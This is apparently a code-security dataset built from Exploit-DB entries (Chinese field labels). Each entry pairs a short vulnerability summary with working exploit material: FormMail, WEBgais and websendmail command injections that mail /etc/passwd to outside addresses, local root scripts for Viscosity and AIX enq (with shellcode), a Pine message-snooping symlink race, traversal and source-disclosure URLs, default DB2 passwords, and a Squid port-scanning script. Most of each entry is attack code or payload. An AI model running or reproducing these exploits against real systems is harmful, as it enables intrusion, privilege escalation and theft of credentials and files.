QLWD/code_shield huggingface dataset:
标题: Matt Wright FormMail 1.x - Cross-Site Request Forgery EDB-ID: 20486 CVE: 1999-0173 类型: REMOTE 平台: UNIX 发布日期: 1997-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2080/info

FormMail is a widely-used web-based e-mail gateway, which allows form-based input to be emailed to a specified user.

A web server can use a remote site's FormMail script without authorization, using remote system resources or exploiting other vulnerabilities in the script. For example, this issue can be used to exploit BID 2079, "Matt Wright FormMail Remote Command Execution Vulnerability". 

<html><head><title>hack</title></head>
<body><form method="post" action="http://remote.target.host/cgi-bin/formmail.pl">
<input type="hidden" name="recipient" value="me@mymail.host; cat /etc/passwd | mail me@mymail.host">
<input type="submit" name="submit" value="submit">
</form></body></html> URL: https://www.exploit-db.com/exploits/20486
标题: University of Washington Pico 3.x/4.x - File Overwrite EDB-ID: 20493 CVE: 2001-0736 类型: LOCAL 平台: LINUX 发布日期: 2000-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2097/info

A vulnerability exists in several versions of University of Washington's Pico, a widely-distributed text editor shipped with most versions of Linux / Unix.

Under very specific circumstances, it is possible to cause this version of Pico to overwrite arbitrary files with the privilege level of the victim user.

As a result, if the attacker is able to correctly predict the name of the editor's temporary file, the current contents of the editor can be written to key system files or other data to which the user has write privileges. Depending on the user's privilege level, this could have a range of negative impacts on the host's security and operation.

Versions 3.8 and 4.3 of Pico have been confirmed vulnerable. Other versions are likely affected as well.

Note that, because the popular mail client Pine uses Pico as its editor, Pine is also vulnerable to this issue.

--------------------mon_pine.sh start--------------------------------
#!/bin/sh
# Grab local pine messages
# Usage: ./mon_pine.sh <pid of pine process>
# victim pine must use following settings
#
#  mat@hacksware.com
#  http://hacksware.com
#
# [x]  enable-alternate-editor-cmd
# [x]  enable-alternate-editor-implicitly
# editor                   = /usr/bin/vi
#

PID=$1
PICO_FILE=`printf "/tmp/pico.%.6d" $PID`
TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"`
echo PICO_FILE is $PICO_FILE

#if $PICO_FILE and $TRASHCAN exists, remove them
if test -f $PICO_FILE
then
 rm -f $PICO_FILE
fi
if test -f $TRASHCAN
then
 rm -f $TRASHCAN
fi

ln -s $TRASHCAN $PICO_FILE
while :
do
 if test -f $TRASHCAN
 then
  break
 fi
done

echo Victim is Editing Pine Message
rm -f $PICO_FILE
echo We replace temporary file
touch $PICO_FILE
chmod 777 $PICO_FILE
echo "Get the message from "$PICO_FILE
echo "^C to break tailer"
tail -f $PICO_FILE
--------------------mon_pine.sh end  -------------------------------- URL: https://www.exploit-db.com/exploits/20493
标题: Viscosity - Local Privilege Escalation EDB-ID: 20485 CVE: 2012-4284 类型: LOCAL 平台: OSX 发布日期: 2012-08-13 漏洞利用脚本: #!/bin/sh
#
##########################
#       Viscatory        #
#                        #
#         zx2c4          #
##########################
#
# After the hullabaloo from the Tunnelblick local root, savy Mac users
# began defending Viscosity, another OS X VPN client. They figured, since
# they spent money on Viscosity, surely it would be better designed than
# the free open-source alternative.
#
# Unfortunately, this exploit took all of 2 minutes to find. DTrace for
# the win. Here, the SUID helper will execute site.py in its enclosing
# folder. A simple symlink, and we have root.
# 
# greets to jono
#
# Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh

echo "[+] Crafting payload."
mkdir -p -v /tmp/pwn
cat > /tmp/pwn/site.py <<_EOF
import os
print "[+] Cleaning up."
os.system("rm -rvf /tmp/pwn")
print "[+] Getting root."
os.setuid(0)
os.setgid(0)
os.execl("/bin/bash", "bash")
_EOF
echo "[+] Making symlink."
ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root
echo "[+] Running vulnerable SUID helper."
exec /tmp/pwn/root URL: https://www.exploit-db.com/exploits/20485
标题: Novell Netware Web Server 3.x - files.pl EDB-ID: 20482 CVE: 1999-1081 类型: REMOTE 平台: NOVELL 发布日期: 1998-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2076/info

Novell Web Server 3.x Examples Toolkit v.2 is a package containing example scripts and HTML files to help administrators design web sites. It is not a support Novell product and is provided solely as a convenience to the user. The toolkit contained a script called "FILES.PL" that could be used to view the contents of files or directories on the server by a remote attacker. This is done by passing the parameter "file=<file-or-directory-to-view>" to the script. An attacker could gain information useful in conducting subsequent attacks, or retrieve personal or proprietary information. 

http://victim.host/perl/files.pl?file=sys:system/autoexec.ncf
http://victim.host/perl/files.pl?file=sys:etc/ldremote.ncf
http://victim.host/perl/files.pl?file=vol2:apps/accounting/payroll.doc URL: https://www.exploit-db.com/exploits/20482
标题: IBM Websphere MQ File Transfer Edition Web Gateway - Insufficient Access Control EDB-ID: 20478 CVE: 2012-2206 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-13 漏洞利用脚本: *Exploit Author:* Nir Valtman

*Affected Platforms: *Version 7.0.4 and all previous versions of
WebSphereMQ File Transfer
Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running
on all platforms are affected.

Apparently they
published the CVE above without mentioning my name, since I found it in the
same time while IBM's team found it. This mail contains the exploitation
methods of the CVE
above<http://www-01.ibm.com/support/docview.wss?uid=swg21607481>

*Description:* Malicious user is able to access other user's files and
filespaces.
*
*
*Details:*
*1. Privilege escalation to view other user's files and filespace*
I logged on using user "user2" (non-administrative account
with download\upload files permissions only) and then sent a GET request to
the following URL:
/transfer/?start=0&count=10&metadata=fteSamplesUser=user1
As a result, the response included the data of "user1".

*2. Privilege escalation to download user user's files*
In order to execute the attack, the malicious user should know the file
name and the related ID before executing the attack.
In this scenario, The malicious user is "user2" and the attacked user is
"user1".
If "user2" knows the url to file of "user1", then he can access this file,
e.g. "user2" is able to access the following URL using a GET request:
/filespace/user1
/414d512057514d542020202020202020eb3bfc4f2030df02/changedthisfilename.txt

Best Regards,
Nir Valtman URL: https://www.exploit-db.com/exploits/20478
标题: IBM DB2 - Universal Database for Windows NT 6.1/7.1 SQL Denial of Service EDB-ID: 20470 CVE: 2001-0052 类型: DOS 平台: WINDOWS 发布日期: 2000-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2067/info


IBM DB2 Universal Database is a distributed database application.

It may be possible for a database user to crash the server through a bug in handling certain queries. If a certain query is executed that contains a datetime type and varchar type, the server may cease to fucntion requiring a manual reset. The following example was submitted by Benjurry in their advisory:

connect reset;
connect to sample user db2admin using db2admin;
select * from employee where year(birthdate)=1999 and firstnme<'';

It is not known what the cause for this behaviour is. Restarting the application is required in order to regain normal functionality. URL: https://www.exploit-db.com/exploits/20470
标题: WEBgais 1.0 - websendmail Remote Command Execution EDB-ID: 20483 CVE: 1999-0196 类型: REMOTE 平台: CGI 发布日期: 1997-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2077/info

WEBgais is a package that provides a web interface to the "gais" (Global Area Intelligent Search) search engine tool. This package contains a vulnerable script, websendmail, which can be used to execute arbitrary commands on the server with the privileges of the web server. User supplied data (from the "receiver=" form variable) is passed to a Perl OPEN function without proper input verification, allowing the use of shell metacharacters to separate commands. This can be directly exploited by submitting via the POST method the variable "receiver=" with the command separation shell metacharacter (;) followed by a command. Consequences could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities. 

telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90)

receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a URL: https://www.exploit-db.com/exploits/20483
标题: IBM DB2 - Universal Database for Linux 6.1/Windows NT 6.1 Known Default Password EDB-ID: 20472 CVE: 2001-0051 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2068/info

IBM DB2 Universal Database is a distributed database application.

DB2 Universal Database contains a default username and password that would enable a user access to the database. During the installation of DB2, the administrator is not prompted to change these passwords which would open up the possibility of having unauthorized users access the database if they knew the default username and password.

DB2 Universal Database for Windows NT
Username: db2admin
Password: db2admin

DB2 Universal Database for Linux
Username: db2inst1, db2as, db2fenc1
Password: ibmdb2 URL: https://www.exploit-db.com/exploits/20472
标题: Endymion MailMan 3.0.x - Arbitrary Command Execution EDB-ID: 20469 CVE: 2001-0021 类型: REMOTE 平台: UNIX 发布日期: 2000-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2063/info


A vulnerability exists in 3.x versions of Endymion MailMan Webmail prior to release 3.0.26.

The widely-used Perl script provides a web-email interface.

Affected versions make insecure use of the perl open() function. Attackers can control the way open() is supposed to work and execute arbitrary commands.

These commands will be executed with the privilege level of the CGI script (commonly user 'nobody'). This vulnerability may allow remote attackers to gain interactive 'local' access on the target server. 

This will execute and echo back the uid.

/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00 URL: https://www.exploit-db.com/exploits/20469
标题: Microsoft IIS 2.0/3.0 - Appended Dot Script Source Disclosure EDB-ID: 20481 CVE: 1999-0154 类型: REMOTE 平台: WINDOWS 发布日期: 1997-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2074/info

Microsoft Internet Information Server (IIS) is a popular web server, providing support for a variety of scripting languages, including ASP (active server pages). IIS 2.0 and 3.0 suffer from an issue allowing a remote user to retrieve the source code for any script (that has read permissions on the server) via a web browser. This is accomplished by appending a period (.) to the end of a URL requesting a specific script, and applies to any file types in the "script-map list", including .asp, .ht., .id, .PL, and others. Consequences of exploitation vary depending on the site design, but commonly include details of directory structure on the web server, database passwords, and various other pieces of information that could then be used to mount further attacks. A Microsoft hotfix for this issue was released, but has been found vulnerable to a variation whereby the period is replaced by %2e, the hexadecimal encoding for the same character. (BugTraq ID 1814). 

http://www.target.host/aspfile.asp.
http://www.target.host/scriptfile.ht.
http://www.target.host/scriptfile.id.
http://www.target.host/scriptfile.PL. URL: https://www.exploit-db.com/exploits/20481
标题: OReilly WebSite 1.x/2.0 - 'win-c-sample.exe' Buffer Overflow EDB-ID: 20484 CVE: 1999-0178 类型: DOS 平台: WINDOWS 发布日期: 1997-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2078/info

O'Reilly WebSite (Pro) is a Windows 95/NT Web Server package. Versions 2.0 and below contained a vulnerable sample script, win-c-sample.exe, placed by default in /cgi-shl/ off the web root directory. This program is vulnerable to a buffer overflow, allowing for execution of arbitrary commands on the host machine with the privileges of the web server. Consequences of successful exploitation could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities. 

Windows NT (versions unspecified):
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\y[X%050PzPA9%01u%F0%83%E9%10%
FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy
_\WebSite\readme.1st_\WebSite\htdocs\x1.htm

Windows 95:
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%0
3%CA%FF%D1c:\command.com_/c_copy_\WebSite\readme.1st_\WebSite\htdocsx1.htm

The example dos commands just copy the WebSite's readme.1st file, so you
can later check if the exploit worked by trying http://website.host/x1.htm.
Note that the server should respond to these exploits with an "Error: no
blank line separating header and data", because of the "1 file(s) copied"
message appearing without a blank line before it (which is required for
HTTP; if you need a command's output, you can redirect it to a file, and
get that file via HTTP with a separate request). URL: https://www.exploit-db.com/exploits/20484
标题: WEBgais 1.0 - Remote Command Execution EDB-ID: 20463 CVE: 1999-0176 类型: REMOTE 平台: CGI 发布日期: 1997-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2058/info

WEBgais is a script that provides a web interface to the "gais" (Global Area Intelligent Search) search engine tool. All versions up to 1.0B2 are vulnerable. The vulnerable script is /cgi-bin/webgais: due to improper input checking it allows a remote attacker to execute commands at the privilege level of the web server. A specifically formatted query allows the vulnerable code to be executed; this query must include the parameters output=subject and domain=paragraph. These two parameters must be included, otherwise the vulnerable code is not executed. The problem lies in an improperly protected Perl "system" command that can be circumvented by encapsulating the malicious command in single quotes and using the unix shell command separation metacharacter ";". See exploit for an example. 

telnet target.host 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)

query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

[...] But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in my exploit. Otherwise you will end up in some other place of the script and nothing will happen. URL: https://www.exploit-db.com/exploits/20463
标题: Hylafax 4.0 pl2 Faxsurvey - Remote Command Execution EDB-ID: 20462 CVE: 1999-0262 类型: REMOTE 平台: UNIX 发布日期: 1998-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2056/info

Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Unpatched version of Hylafax ship with an insecure script, faxsurvey, which allows remote command execution with the privileges of the web server process. This can be exploited simply by passing the command as a parameter to the script - see exploit. Consequences could include web site defacements, exploiting locally accessible vulnerabilities to gain further privileges, etc. 


http://target.host/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd URL: https://www.exploit-db.com/exploits/20462
标题: Squid Web Proxy 2.2 - 'cachemgr.cgi' Unauthorized Connection EDB-ID: 20465 CVE: 1999-0710 类型: REMOTE 平台: CGI 发布日期: 1999-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2059/info

The 'cachemgr.cgi' module is a management interface for the Squid proxy service. It was installed by default in '/cgi-bin' by Red Hat Linux 5.2 and 6.0 installed with Squid. This script prompts for a host and port, which it then tries to connect to. If a webserver such as Apache is running, this can be used to connect to arbitrary hosts and ports, allowing for potential use as an intermediary in denial-of-service attacks, proxied port scans, etc. Interpreting the output of the script can allow the attacker to determine whether or not a connection was established. 

#!/bin/bash -x

# Port scanning using a misconfigured squid
# using open apache

# Usage miscachemgr host_vuln host_to_scan end_port

# Concept: Jacobo Van Leeuwen & Francisco S�a Mu�oz
# Coded by Francisco S�a Mu�oz
# IP6 [Logic Control]

PORT=1
ONE='/cgi-bin/cachemgr.cgi?host='
TWO='&port='
THREE='&user_name=&operation&auth='

mkdir from_$1_to_$2

while [ $PORT -lt $3 ]; do

# lynx -dump http://$1/cgi-bin/cachemgr.cgi?host=\
# $2&port=$PORT&user_name=&operation=authenticate&auth= > \
# port_$1_to_$2/$PORT.log 2>&1

lynx -dump http://$1$ONE$2$TWO$PORT$THREE > from_$1_to_$2/$PORT.log 2>&1
let PORT=PORT+1

done URL: https://www.exploit-db.com/exploits/20465
标题: Apache 1.3 + PHP 3 - File Disclosure EDB-ID: 20466 CVE: 2001-0042 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2060/info

Apache Web Server is subject to disclose files to unauthorized users when used in conjunction with the PHP3 script language.

By requesting a specially crafted URL by way of php, it is possible for a remote user to gain read access to a known file that resides on the target host.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. 

http://target/index.php3.%5c../..%5cconf/httpd.conf URL: https://www.exploit-db.com/exploits/20466
标题: Microsoft Windows NT 4.0 - Phonebook Server Buffer Overflow EDB-ID: 20460 CVE: 2000-1089 类型: REMOTE 平台: WINDOWS 发布日期: 2000-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2048/info

The Phone Book Service is an optional component that ships with the NT 4 Option Pack and Windows 2000. It is not installed by default.

A buffer overflow vulnerability was discovered in the URL processing routines of the Phone Book Service requests on IIS 4 and IIS 5. If exploited, this vulnerability allows an attacker to execute arbitrary code and obtain a remote command shell with those privileges of the IUSR_machinename account (IIS 4) or the IWAM_machinename account (IIS 5). 

The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/

According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format:



http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
ver=&pb=<STRING=db name>

In the DLL checks the total lenght to ensure that request does not exceed
1024 bytes, however it is
possible to overflow a local variable of fixed length in the DLL by sending
a request with
the following form:

GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars)
HTTP/1.0\n\n

The result is an exception reported in the Event log with source WAM like
the following:

The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B

For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp.

By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine. URL: https://www.exploit-db.com/exploits/20460
标题: Cat Soft Serv-U FTP Server 2.4/2.5 - FTP Directory Traversal EDB-ID: 20461 CVE: 2001-0054 类型: REMOTE 平台: WINDOWS 发布日期: 2000-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2052/info

FTP Serv-U is an internet FTP server from CatSoft.

Authenticated users can gain access to the ftproot of the drive where Serv-U FTP has been installed. Users that have read, write, execute and list access in the home directory will have the same permissions to any file which resides on the same partition as the ftproot, once a user is in the home directory they can successfully transfer any files using specially crafted GET requests. All hidden files will be revealed even if the 'Hide hidden files' feature is on.

Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host. 

ftp> cd \..%20.
250 Directory changed to /..

ftp> cd %20..%20%20../winnt 250 Directory changed to /c:/TOMB/../WINNT
ftp> put autoexec.bat %20..%20%20../winnt/2.bat
200 PORT Command successful.
150 Opening ASCII mode data connection for 2.bat.
226 Transfer complete.
ftp> dir \..%20.\..%20.\winnt\ URL: https://www.exploit-db.com/exploits/20461
标题: IBM AIX 4.x - 'enq' Local Buffer Overflow EDB-ID: 20454 CVE: 2000-1121 类型: LOCAL 平台: AIX 发布日期: 2003-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2034/info

AIX is a variant of the UNIX Operating System, distributed by IBM. A problem exists that may allow elevation of user priviledges.

The problem occurs in the enq program. It is reported that an overflow exists in the command line argument parsing, which could lead to the overwriting of variables on the stack. This creates the potential for a malicious user to execute arbitrary code, and possibly gain administrative access. 

#!/bin/sh
# FileName: ex_enq_aix4x.sh
# Exploit "enq & qstatus" of Aix4.x to get egid=9 shell.
# Usage   : chmod ex_enq_aix4x.sh ; ./ex_enq_aix4x.sh
# Tested  : on Aix4.3.3
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-4-24
# Announce: use as your owner risk!

PERL=/usr/bin/perl
TMP=/tmp/.env.tmp
SHPL=/tmp/.sh.pl
cat >$SHPL<<EOF
#!/usr/bin/perl
\$BUFF="";

\$BUFF.="\x7c\xa5\x2a\x79"x500;

\$OSLEVEL=\`/usr/bin/oslevel\`;
\$ID="\x04";
if( \$OSLEVEL=~/4\.1/ ) {
  \$ID="\x03";
} elsif(\$OSLEVEL=~/4\.3\.3/) {
  \$ID="\x03";
} elsif( \$OSLEVEL=~/4\.2/ ) {
  \$ID="\x02";
}


\$BUFF.="\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6";
\$BUFF.="\x3b\xff\x01\x20\x38\x7f\xff\x08\x38\x9f\xff\x10";
\$BUFF.="\x90\x7f\xff\x10\x90\xbf\xff\x14\x88\x5f\xff\x0f";
\$BUFF.="\x98\xbf\xff\x0f\x4c\xc6\x33\x42\x44\xff\xff\x02";
\$BUFF.="/bin/sh";



\$BUFF.=\$ID;

print \$BUFF;
EOF

env | awk -F = '{print "unset "$1;}'|grep -v LOGNAME > $TMP
. $TMP
/bin/rm -f $TMP

CC=A`$PERL $SHPL` ; export CC
/bin/rm -f $SHPL
/usr/bin/enq -w"`perl -e 'print "\x2f\xf2\x2b\x10"x600'`"   

#EOF URL: https://www.exploit-db.com/exploits/20454